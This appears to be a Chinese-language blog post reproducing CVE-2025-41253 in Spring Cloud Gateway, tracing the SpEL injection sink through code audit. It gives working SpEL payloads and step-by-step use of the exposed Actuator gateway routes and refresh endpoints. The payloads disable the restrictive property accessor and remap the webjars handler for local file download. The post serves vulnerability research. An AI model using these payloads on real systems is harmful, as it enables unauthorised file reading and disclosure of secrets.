CVE-2025-41253复现
这是一个spring cloud gateway的CVE,看到群里有佬发这个漏洞,就想着复现下。
本文将从代码审计的视角去看这个CVE。
漏洞描述
来自网络:应用在路由配置中使用Spring Expression Language(SpEL)且暴露了未经访问控制的Actuator gateway端点时,攻击者可通过构造恶意路由表达式,读取系统环境变量和系统属性,从而造成敏感信息泄露。该漏洞的触发条件包括:启用management.endpoints.web.exposure.include=gateway与management.endpoint.gateway.enabled=true(或management.endpoint.gateway.access=unrestricted),且相关Actuator接口可被外部访问。
漏洞复现
环境
按照漏洞描述,一个是需要 spring gateway,另一个则是开启Actuator端点,完整的pom文件:
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>3.2.0</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>org.example</groupId>
<artifactId>SpringGateway</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>SpringGateway</name>
<description>SpringGateway</description>
<properties>
<java.version>17</java.version>
<spring-cloud.version>2023.0.0</spring-cloud.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-starter-gateway</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
</dependencies>
<dependencyManagement>
<dependencies>
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-dependencies</artifactId>
<version>${spring-cloud.version}</version>
<type>pom</type>
<scope>import</scope>
</dependency>
</dependencies>
</dependencyManagement>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>
jdk版本为17,依赖版本:

复现
已知漏洞的触发条件包括:启用management.endpoints.web.exposure.include=gateway与management.endpoint.gateway.enabled=true(或management.endpoint.gateway.access=unrestricted),且相关Actuator接口可被外部访问。
在当前版本的SpringGateway中:
-
management.endpoint.gateway.enabled:是否启用网关端点

-
management.endpoints.web.exposure.include:需要被包含的端点id

明确这两个配置的作用:Spring Cloud Gateway 基于 Actuator 扩展了专属端点 /actuator/gateway
- management.endpoint.gateway.enabled:决定 Actuator 是否加载 Gateway 提供的专属端点(
/actuator/gateway) - management.endpoints.web.exposure.include:控制 Actuator 端点的 "HTTP 暴露范围"
访问actuator:


显然gateway这个路由存在spel表达式注入漏洞,那么接下来就是对spel和gateway的jar包进行分析,我这里使用的自己写的工具去构建neoj4数据库,在这一步感兴趣的可以使用tabby去完成链路的分析。
接下来就是查找链,cypher语句为:
MATCH path = (caller:Method)-[:CALLS|OVERRIDES|EXTENDS|IMPLEMENTS*0..20]->(sinkMethod:Method {className:"org/springframework/expression/Expression", methodName:"getValue", namespace:"gateway"}) where caller.className STARTS WITH "org/springframework/cloud/gateway" RETURN path
最终找到:

大致可以分为两类:
-
ShortcutType枚举量中重写的normalize,通过调试可以看到没办法读取环境变量

往里看:

parser.parseExpression("#{T(System).getenv()}", new TemplateParserContext()).getValue()可以得到值,但是走原来的路径就不可以得到值,所以还要看看context:
当restrictive为false,将允许通过spel表达式读取环境变量的值。
normalize溯源到CachingRouteLocator的onApplicationEvent、WeightCalculatorWebFilter的onApplicationEvent、CorsGatewayFilterApplicationListener的onApplicationEvent、GatewayAutoConfiguration的cachedCompositeRouteLocator(所有需要获取路由信息的核心场景调用)和RoutePredicateHandlerMapping的getHandlerInternal(请求到达网关后调用)
-
DiscoveryClientRouteDefinitionLocator中的
getRouteDefinitions涉及对spel表达式的使用,溯源找到CachingRouteDefinitionLocator的onApplicationEvent和RouteDefinitionMetrics的onApplicationEvent,当网关路由配置发生动态变更或是手动调用refresh端点时触发,注意,只有配了注册中心才会走DiscoveryClientRouteDefinitionLocator
专门分析normalize,当gateway启动,会自动处理配置文件中的args参数:

本地配置文件将其当做可信的源,然后从gateway的路由可以看到存在post请求,并且知道:
http://localhost:8084/actuator/gateway/routes/example_route的post请求会动态注册路由http://localhost:8084/actuator/gateway/routes/testtget请求会获取id为testt的路由信息http://localhost:8084/actuator/gateway/refresh的post空请求会触发default的normalize去解析args中的字符串
逻辑就是动态注册路由-->refresh刷新路由-->请求路由信息以验证的确添加成功
然后我写了一个相同的spel controller再做一下验证
java
@RestController
@RequestMapping("/api")
public class TestController {
@Resource
private BeanFactory beanFactory;
@GetMapping("/spel")
public String spelInjection(@RequestParam String expression) {
ExpressionParser parser = new SpelExpressionParser();
ShortcutConfigurable.GatewayEvaluationContext context = new ShortcutConfigurable.GatewayEvaluationContext(beanFactory);
Expression exp =parser.parseExpression(expression, new TemplateParserContext());
Object message = exp.getValue(context);
return message.toString();
}
}
当expression为#{@systemProperties['os.name'] }时可以正确读取系统中的属性,因此问题的确出在。
由于GatewayEvaluationContext使用SimpleEvaluationContext,导致没有办法进行以下操作:
-
无法进行方法调用,使用T的都无法执行,比如:
#{T(System).getenv()} #{T(java.lang.Runtime).getRuntime().exec('calc')} #{T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get('C:\Windows\win.ini'))} -
无法通过
@environment.getProperty,getProperty无法被调用,也算是方法调用 -
未解除安全限制前无法访问或操作Bean
允许的操作:
-
使用systemProperties读取属性值或修改属性值
#{@systemProperties['os.name'] } #{@systemProperties['spring.cloud.gateway.restrictive-property-accessor.enabled'] = 'false'}其中第二条可以解除gateway的安全限制
-
访问或操作Bean(只有通过systemProperties修改为
spring.cloud.gateway.restrictive-property-accessor.enabled为false后才可以执行)#{@resourceHandlerMapping.urlMap} #{ @resourceHandlerMapping.urlMap['/webjars/**'].locationValues[0]='file:///C:/'} #{ @resourceHandlerMapping.urlMap['/webjars/**'].afterPropertiesSet}注意,再修改'/webjars/**'映射后需要通过afterPropertiesSet主动去刷新urlMap
最后就是文件读取的复现的步骤:
-
通过动态注册路由的接口按照以下顺序设置:
#{@systemProperties['spring.cloud.gateway.restrictive-property-accessor.enabled'] = 'false'} #{ @resourceHandlerMapping.urlMap['/webjars/**'].locationValues[0]='file:///C:/'} #{ @resourceHandlerMapping.urlMap['/webjars/**'].afterPropertiesSet}注意,每请求一次都需要调refresh刷新
-
最后发起请求,成功下载:
